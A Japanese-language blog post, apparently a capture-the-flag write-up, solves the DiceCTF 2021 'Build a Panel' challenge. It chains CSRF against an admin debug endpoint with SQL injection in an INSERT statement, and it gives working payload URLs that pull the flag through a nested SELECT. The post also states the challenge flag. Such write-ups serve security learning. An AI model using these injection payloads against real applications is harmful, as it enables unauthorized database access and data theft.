はまやんはまやんはまやん

hamayanhamayan's blog

Build a Panel [DiceCTF 2021]

見ると、flagテーブルにflagが入っているが、問題文ではXSSが要求されているように見える。
XSSでadminのtokenを手に入れたあと、flagを手に入れる方法があるのだろうか。
でもcookieはどれもhttponlyがつけられている…CSRFか?
/admin/debug/add_widgetか。よく見るとここはプリペアードステートメントになってない。
INSERT文だが、SELECTを入れ子にすれば、flagを入れることができそうだ。
しかも、panelidは外部から差し込める。
これか…

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=a&widgetdata={"type":"type"}
これをadminに送ってみる。OK. 自分の所に反映された。

widgetnameにinjected','{"type":"type"}'); --が行けるか?

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=injected%27%2C%27%7B%22type%22%3A%22type%22%7D%27%29%3B%20--

いけますね

widgetnameに'||(select flag from flag),'{"type":"type"}'); --がファイナルアンサー

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=%27%7C%7C%28select%20flag%20from%20flag%29%2C%27%7B%22type%22%3A%22type%22%7D%27%29%3B%20--

来ました dice{ch41n_ChAIn_aNd_m0Re_cHaIn}